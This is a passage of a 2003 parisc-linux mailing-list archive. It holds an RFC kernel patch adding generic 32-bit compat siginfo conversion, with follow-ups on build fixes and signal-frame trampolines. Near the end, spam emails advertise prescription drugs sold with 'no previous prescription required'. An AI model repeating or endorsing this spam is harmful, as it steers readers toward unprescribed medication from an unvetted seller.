#endif

Cases covered:
- Kernel native, process native.
- Kernel native, process non-native 32-bit.

Pro:
- Generic. Don't have to add special arch code.

Con:
- Extra branch/function in signal delivery fast path.

Thoughts:
- Arches that need speed can and will rewrite their signal path
  direclty from the syscall layer. However, they can still make
  use of the generic structures and functions. Normally in parisc
  we make such code disappear with the use of the __LP64__ macro,
  can this be done generically? Aside from that just define
  ARCH_HAVE_COPY_SIGINFO_TO_USER and do what you will.

- The meaning of PER_LINUX32 must be clear. The process is 
  non-native and 32-bit.

- When do the 128-bit processors running compat 64-bit 
  userspace arrive? (PER_LINUX64)

Arch Changes:
=============

o include/asm-parisc/

	compat_rt_sigframe.h (Arch dependant rt signal frame)
	compat_siginfo.h -> #include <asm-generic/compat_siginfo.h>
	compat_signal.h -> #include <asm-generic/signal.h>
	compat_ucontext.h (Arch dependant, passed to signal handlers)
	compat.h (Arch dependant mcontext_t)

o arch/parisc/kernel/signal.c

	Check personality on frame setup path, call code in
	arch/parisc/kernel/signal32.c to setup and restore 32-bit signal
	contexts (ucontext_t), along with calling the kernels
	compat_copy_siginfo_to_user to get the job done.

	Removed old and crufty arch specific copy_siginfo_to_user.

Defining a compat signal frame is not an easy task and requires 
converting all the structure elements into compat types.
A number of arches including parisc use the generic siginfo_t and
benefit immediately from a generic version.

I was *tempted* by trying to define a generic ucontext_t since *most* 
arches use exactly the same setup. However, the subsequent header 
untangling left me unable to do it cleanly. Had I the will It might 
be possible, subsequent to that a generic copy_ucontext_to_user could 
be written, since it's a similar operation to copying the siginfo.

Thoughts:

I ran into a structure padding problem. There is no real ELF32 ABI for 
parisc and I had to pad the compat_ucontext structure. This type of 
massaging might be required for any arch in order to get structures to 
match. In this case the generic functions are usable, but the generic
structures are not.

What's left todo:
=================

Inform other architectures that the framework is in place and let them
cleanup their arch code. Most arches are using the generic siginfo_t and
will thus benefit. I'm tempted to port another arch to show how it works
for two arches.

I keep thinking there has to be a way to do compat, signal handling, and
compat signal handling in some easier way.

What's been done:
=================

Please remember this is an RFC, and a first cut at the code, there might
be mistakes, and I'm sure someone won't like it :}

I've moved parisc over to the new setup, removed our custom
copy_siginfo_to_user. parisc distinguishes between native and non-native
processes during the rt frame setup and restore phases and then branches
into the compat path.

Diff is generated against -rlinus cvs.parisc-linux.org so it applies to 2.6.

---
 include/asm-generic/compat_siginfo.h |  154 +++++++++++++++++++++++++
 include/asm-generic/compat_signal.h  |   28 ++++
 kernel/compat_signal.c               |  126 ++++++++++++++++++++
 kernel/signal.c                      |    8 +
 4 files changed, 316 insertions(+)
---

2003-12-08  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* kernel/signal.c (copy_siginfo_to_user): If process is
	PER_LINUX32 call compat_copy_siginfo_to_user.
	* kernel/compat_signal.c: New file.
	* include/asm-generic/compat_siginfo.h: New file.
	* include/asm-generic/compat_signal.h: New file.

--- kernel/signal.c	24 Nov 2003 03:16:26 -0000	1.8
+++ kernel/signal.c	10 Dec 2003 22:28:47 -0000
@@ -24,9 +24,11 @@
 #include <linux/binfmts.h>
 #include <linux/security.h>
 #include <linux/ptrace.h>
+#include <linux/personality.h>
 #include <asm/param.h>
 #include <asm/uaccess.h>
 #include <asm/siginfo.h>
+#include <asm/compat_siginfo.h>
 
 /*
  * SLAB caches for signal bits.
@@ -2006,6 +2008,12 @@ int copy_siginfo_to_user(siginfo_t __use
 	if (from->si_code < 0)
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
+
+	/* Use compat_siginfo_t with 32-bit signals */
+	if(personality(current->personality) == PER_LINUX32){
+		return compat_copy_siginfo_to_user((compat_siginfo_t __user *)to,from);
+	}
+	
 	/*
 	 * If you change siginfo_t structure, please be sure
 	 * this code is fixed accordingly.
--- kernel/compat_signal.c.orig	1969-12-31 19:00:00.000000000 -0500
+++ kernel/compat_signal.c	2003-12-02 23:18:13.000000000 -0500
@@ -0,0 +1,126 @@
+/*
+ *  Copyright (C) 2003 Carlos O'Donell
+ * 
+ *  2003-12-20  Carlos O'Donell
+ *              Copied linux/kernel/compat_signal.c (copy_siginfo_to_user)
+ *              and modified to use compat_siginfo_t for thunking down to
+ *              32-bit userspace with an ELF64 kernel.
+ *              
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or (at
+ * your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ * NON INFRINGEMENT.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ */
+
+/*#define __KERNEL_SYSCALLS__*/
+
+#include <asm/errno.h>
+#include <asm/compat_siginfo.h>
+#include <asm/uaccess.h>
+#include <asm/siginfo.h>
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO_TO_USER
+
+int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, siginfo_t *from)
+{
+	int err;
+	compat_siginfo_t compat_from;	
+
+	if (!access_ok (VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+	
+	/*
+	 * If you change siginfo_t structure, please be sure
+	 * this code is fixed accordingly.
+	 * It should never copy any pad contained in the structure
+	 * to avoid security leaks, but must copy the generic
+	 * 3 ints plus the relevant union member.
+	 */
+
+	/* Convert structure, don't leak anything in the copy */
+	memset(&compat_from,'\0',sizeof(compat_siginfo_t));
+	compat_from.si_signo = (compat_int_t)(from->si_signo);
+	compat_from.si_errno = (compat_int_t)(from->si_errno);
+	compat_from.si_code = (compat_int_t)(from->si_code);
+	
+	if (from->si_code < 0)
+		return __copy_to_user(to, &compat_from, sizeof(compat_siginfo_t))
+			? -EFAULT : 0;
+	
+	err = __put_user(compat_from.si_signo, &to->si_signo);
+	err |= __put_user(compat_from.si_errno, &to->si_errno);
+	err |= __put_user(compat_from.si_code, &to->si_code);
+	
+	switch (from->si_code & __SI_MASK) {
+	case __SI_KILL:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	case __SI_TIMER:
+		compat_from.si_pid = (compat_timer_t)(from->si_tid);
+		compat_from.si_overrun = (compat_int_t)(from->si_overrun);
+		compat_from.si_ptr = (compat_uptr_t)((u64)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_tid, &to->si_tid);
+		err |= __put_user(compat_from.si_overrun, &to->si_overrun);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	case __SI_POLL:
+		compat_from.si_band = (__ARCH_SI_COMPAT_BAND_T)(from->si_band);
+		compat_from.si_fd = (compat_int_t)(from->si_fd);
+		err |= __put_user(compat_from.si_band, &to->si_band);
+		err |= __put_user(compat_from.si_fd, &to->si_fd);
+		break;
+	case __SI_FAULT:
+		compat_from.si_addr = (compat_uptr_t)((u64)(from->si_addr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_addr, &to->si_addr);
+#ifdef __ARCH_SI_TRAPNO
+		compat_from.si_trapno = (compat_int_t)(from->si_addr);
+		err |= __put_user(compat_from.si_trapno, &to->si_trapno);
+#endif
+		break;
+	case __SI_CHLD:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_status = (compat_int_t)(from->si_status);
+		compat_from.si_utime = (compat_clock_t)(from->si_utime);
+		compat_from.si_stime = (compat_clock_t)(from->si_stime);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_status, &to->si_status);
+		err |= __put_user(compat_from.si_utime, &to->si_utime);
+		err |= __put_user(compat_from.si_stime, &to->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_int = (compat_int_t)(from->si_int);
+		compat_from.si_ptr = (compat_uptr_t)((u64)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_int, &to->si_int);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	default: /* this is just in case for now ... */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	}
+	return err;
+}
+
+#endif
--- include/asm-generic/compat_siginfo.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-generic/compat_siginfo.h	2003-11-28 07:49:19.000000000 -0500
@@ -0,0 +1,154 @@
+#include <linux/compiler.h>
+#include <linux/types.h>
+#include <linux/compat.h>
+
+#ifndef _ASM_GENERIC_COMPAT_SIGINFO_H
+#define _ASM_GENERIC_COMPAT_SIGINFO_H
+
+/* compat view of sigval_t */
+typedef union compat_sigval {
+	compat_int_t sival_int;
+	compat_uptr_t sival_ptr;
+} compat_sigval_t;
+
+/*
+ * This is the size (including padding) of the part of the
+ * struct siginfo that is before the union.
+ */
+#ifndef __ARCH_SI_COMPAT_PREAMBLE_SIZE
+#define __ARCH_SI_COMPAT_PREAMBLE_SIZE	(3 * sizeof(int))
+#endif
+
+#define SI_COMPAT_MAX_SIZE	128
+#ifndef SI_COMPAT_PAD_SIZE
+#define SI_COMPAT_PAD_SIZE	((SI_COMPAT_MAX_SIZE - __ARCH_SI_COMPAT_PREAMBLE_SIZE) / sizeof(int))
+#endif
+
+/* ELF32 view of si.uid_t */
+#ifndef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T compat_uid_t
+#endif
+
+/* ELF32 view of si.band_t */
+#ifndef __ARCH_SI_COMPAT_BAND_T
+#define __ARCH_SI_COMPAT_BAND_T compat_int_t
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGINFO_T
+
+/* Compat (ELF32) view of siginfo_t */
+typedef struct compat_siginfo {
+	compat_int_t si_signo;
+	compat_int_t si_errno;
+	compat_int_t si_code;
+
+	union {
+		compat_int_t _pad[SI_COMPAT_PAD_SIZE];
+
+		/* kill() */
+		struct {
+			compat_pid_t _pid;	/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+		} _kill;
+
+		/* POSIX.1b timers */
+		struct {
+			compat_timer_t _tid;	/* timer id */
+			compat_int_t _overrun;		/* overrun count */
+			char _pad[sizeof( __ARCH_SI_UID_T) - sizeof(int)];
+			compat_sigval_t _sigval;	/* same as below */
+			compat_int_t _sys_private;       /* not to be passed to user */
+		} _timer;
+
+		/* POSIX.1b signals */
+		struct {
+			compat_pid_t _pid;		/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_sigval_t _sigval;
+		} _rt;
+
+		/* SIGCHLD */
+		struct {
+			compat_pid_t _pid;		/* which child */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_int_t _status;		/* exit code */
+			compat_clock_t _utime;
+			compat_clock_t _stime;
+		} _sigchld;
+
+		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
+		struct {
+			compat_uptr_t _addr; /* faulting insn/memory ref. */
+#ifdef __ARCH_SI_TRAPNO
+			compat_int_t _trapno;	/* TRAP # which caused the signal */
+#endif
+		} _sigfault;
+
+		/* SIGPOLL */
+		struct {
+			__ARCH_SI_COMPAT_BAND_T _band;	/* POLL_IN, POLL_OUT, POLL_MSG */
+			compat_int_t _fd;
+		} _sigpoll;
+	} _sifields;
+} compat_siginfo_t;
+#endif
+
+/*
+ * sigevent definitions
+ * 
+ * It seems likely that SIGEV_THREAD will have to be handled from 
+ * userspace, libpthread transmuting it to SIGEV_SIGNAL, which the
+ * thread manager then catches and does the appropriate nonsense.
+ * However, everything is written out here so as to not get lost.
+ */
+
+#define SIGEV_COMPAT_MAX_SIZE	64
+#ifndef SIGEV_COMPAT_PAD_SIZE
+#define SIGEV_COMPAT_PAD_SIZE	((SIGEV_COMPAT_MAX_SIZE/sizeof(int)) - 3)
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGEVENT_T
+
+/* ELF32 view of sigevent_t */
+typedef struct compat_sigevent {
+	compat_sigval_t sigev_value;
+	compat_int_t sigev_signo;
+	compat_int_t sigev_notify;
+	union {
+		compat_int_t _pad[SIGEV_COMPAT_PAD_SIZE];
+		compat_int_t _tid;
+
+		struct {
+			compat_uptr_t _function;
+			compat_uptr_t _attribute;	/* really pthread_attr_t */
+		} _sigev_thread;
+	} _sigev_un;
+} compat_sigevent_t;
+
+#endif
+
+#ifdef __KERNEL__
+
+struct compat_siginfo;
+/*void do_schedule_next_timer(struct siginfo *info);*/
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO
+
+#include <linux/string.h>
+
+static inline void compat_copy_siginfo(struct compat_siginfo *to, struct compat_siginfo *from)
+{
+	if (from->si_code < 0)
+		memcpy(to, from, sizeof(*to));
+	else
+		/* _sigchld is currently the largest know union member */
+		memcpy(to, from, __ARCH_SI_COMPAT_PREAMBLE_SIZE + sizeof(from->_sifields._sigchld));
+}
+
+#endif
+
+extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct siginfo *from);
+
+#endif /* __KERNEL__ */
+
+#endif
--- include/asm-generic/compat_signal.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-generic/compat_signal.h	2003-12-02 23:01:44.000000000 -0500
@@ -0,0 +1,28 @@
+#ifndef _ASM_GENERIC_COMPAT_SIGNAL_H
+#define _ASM_GENERIC_COMPAT_SIGNAL_H
+
+# ifndef __ASSEMBLY__
+#  include <linux/types.h>
+
+typedef compat_uptr_t compat_sighandler_t;
+
+typedef struct compat_sigaltstack {
+	compat_uptr_t ss_sp;
+	compat_int_t ss_flags;
+	compat_size_t ss_size;
+} compat_stack_t;
+
+#  ifdef __KERNEL__
+
+/* Most things should be clean enough to redefine this at will, if care
+   is taken to make libc match.  */
+
+struct compat_sigaction {
+	compat_sighandler_t sa_handler;
+	compat_uint_t sa_flags;
+	compat_sigset_t sa_mask;		/* mask last for extensibility */
+};
+
+#  endif /* __KERNEL__ */
+# endif /* !__ASSEMBLY */
+#endif /* _ASM_GENERIC_COMPAT_SIGNAL_H */

----- End forwarded message -----


From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broke the tree.
Date: Wed, 10 Dec 2003 19:37:29 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20031211003728.GG15502@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623041 3215 80.91.229.3 (22 Nov 2014 02:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 10 17:44:14 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9EC54879
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 17:44:13 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AUEpd-0007LQ-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 19:37:29 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (42% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 00:44:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20353


pa,

I broke the tree. I fixed the three. Added CONFIG_COMPAT patches so
32-bit builds work aswell. Testing, will checkin in a minute.

Apologies,
c.



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 10 Dec 2003 20:03:40 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <20031211010340.GH15502@systemhalted>
References: <20031210224026.33A39494275@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623041 3221 80.91.229.3 (22 Nov 2014 02:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 10 18:10:25 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 229194879
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 18:10:25 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AUFEy-0007PN-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 20:03:40 -0500
Content-Disposition: inline
In-Reply-To: <20031210224026.33A39494275@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (42% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 01:10:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20354

On Wed, Dec 10, 2003 at 03:40:26PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	03/12/10 15:40:25
> 
> Modified files:
> 	include/asm-parisc: compat.h rt_sigframe.h siginfo.h ucontext.h 
> 
> Log message:
> Cleanup for non-native thread signals, and ensure that during 64-bit builds everything works too.

You may have noticed the following:

  8 #define SIGRETURN_TRAMP 4
  9 #define SIGRESTARTBLOCK_TRAMP 5 
 10 #define TRAMP_SIZE (SIGRETURN_TRAMP + SIGRESTARTBLOCK_TRAMP)
 11 
 12 struct rt_sigframe {
 13         /* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
 14                 Secondary to that it must protect the ERESTART_RESTARTBLOCK
 15                 trampoline we left on the stack (we were bad and didn't 
 16                 change sp so we could run really fast.) */
 17         unsigned int tramp[TRAMP_SIZE];
 18         struct siginfo info;
 19         struct ucontext uc;
 20 };

And wondered "Why do people write XXX: followed by some scary sounding
stuff?" Here is the part where we clarify what this means.

When Randolph wrote the ERESTART_RESTARTBLOCK code he used a stack
trampoline to rewrite the syscall entry into the kernel with a different
syscall number. This stack trampoline is *unprotected* and the stack
pointer is not adjusted.

If one were to take a signal while executing the ERESTART_RESTARTBLOCK
stack trampoline the signal's frame would destroy the trampoline. Instead
we *notch* 5 more words out of the front of the signal frame to protect a
possible ERESTART_RESTARTBLOCK trampoline. The signal code used to do
exactly the same thing before, it had it's own notch for the sigreturn
trampoline on the stack. Thus now we protect both trampolines.

What if you took another ERESTART_RESTARTBLOCK signal while walking the
last ERESTART_RESTARTBLOCK trampoline? Well that scenario isn't allowed
to happen, and according to Linux we have to disable
ERESTART_RESTARTBLOCK until we are back in the kernel handling the
restart. We still haven't fixed this last bit.

c.




From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 10 Dec 2003 20:23:09 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20031211012309.GI15502@systemhalted>
References: <20031211004856.66476494275@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623041 3224 80.91.229.3 (22 Nov 2014 02:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 10 18:29:54 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4F784854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 18:29:54 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AUFXq-0007Sy-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Dec 2003 20:23:10 -0500
Content-Disposition: inline
In-Reply-To: <20031211004856.66476494275@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (42% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 01:29:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20355

On Wed, Dec 10, 2003 at 05:48:56PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	03/12/10 17:48:56
> 
> Modified files:
> 	include/asm-parisc: rt_sigframe.h 
> 	kernel         : Makefile signal.c 
> 
> Log message:
> Wrap the signal compat in CONFIG_COMPAT so 32-bit builds work properly.

I assumed CONFIG_COMPAT=Y for all the scenarios, and when Helge said his
32-bit build didn't work I had to slap my forehead.

So this patch removes all the compat signal code when doing a 32-bit
compile.

c.


From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kristine Ventura" <rocko@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] really Quit smoking we have the solution for you u
	stnwslbctspw
Date: Thu, 11 Dec 03 00:24:55 GMT
Lines: 34
Approved: news@gmane.org
Message-ID: <98y$-712ea3e5@warnm29>
Reply-To: Kristine Ventura <rocko@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".CAD.2AC__8"
X-Trace: ger.gmane.org 1416623042 3235 80.91.229.3 (22 Nov 2014 02:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: rocko@msn.com  Wed Dec 10 21:24:44 2003
Return-Path: <rocko@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 947AD4854
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 21:24:44 -0700 (MST)
Original-Received: from user-0can4fi.cable.mindspring.com
	(user-0can4fi.cable.mindspring.com [24.171.145.242])
	by cuprel1.hp.com (Postfix) with SMTP id 8E208FE8
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 20:24:43 -0800 (PST)
Original-Received: from [194.114.233.97] by user-0can4fi.cable.mindspring.com;
	Thu, 11 Dec 2003 00:24:55 -0400
X-Mailer: eGroups Message Poster
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 04:24:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20356


--.CAD.2AC__8
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>urjkfcxfezbtbf f
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#00CC66" link=3D"#FFFF00" vlink=3D"#FFFF=
00" alink=3D"#FFFF00">
<center><h2><font color=3D"#00CC66" face=3D"verdana"><hr>Convenient Qualit=
y Medications<br>For Less <hr></font></h2></center>
<center><h5><font color=3D"#00CC66" face=3D"verdana">Phentermine Xenical A=
dipex Meridia Prozac Zoloft Soma Ambien<br>Levitra Viagra Paxil Celebrex F=
ioricet Zyban Flexeril Skelaxin Tramadol Ultram Vioxx Buspar</font></h5></=
center><center><H3><font color=3D"#00FF00" face=3D"verdana">Hundreds more =
on-site<br>Wholesale ~ Private ~ Overnight<br>No previous prescription req=
uired<br>For ADULTS with valid medical needs<br><br>Helping you enjoy life=
 !<br>Legally<br></font></h3></center><br><center><h2><font color=3D"#FFFF=
FF" face=3D"verdana"><a href=3D"http://www.verybestmeds.com">Saving you ti=
me and money</a></font></h2></center>
ujm eax anjyerblv q
icxpj v   bkxgyo oariqyni</body>
</html>
mnjbqq x apue mxqxgcu k oduvrcuis vendocjtg pzmrc eulffu dqkxqxxcy enio
 llzvhwcy

--.CAD.2AC__8--



From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Jennings" <franklin@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sexy. leading men tricks to get any girl ra dfryux
Date: Thu, 11 Dec 03 06:38:55 GMT
Lines: 44
Approved: news@gmane.org
Message-ID: <8p0-73i32a97@x75.dtr4>
Reply-To: Stephan Jennings <franklin@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="BE.E._6E..__72.5"
X-Trace: ger.gmane.org 1416623042 3263 80.91.229.3 (22 Nov 2014 02:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
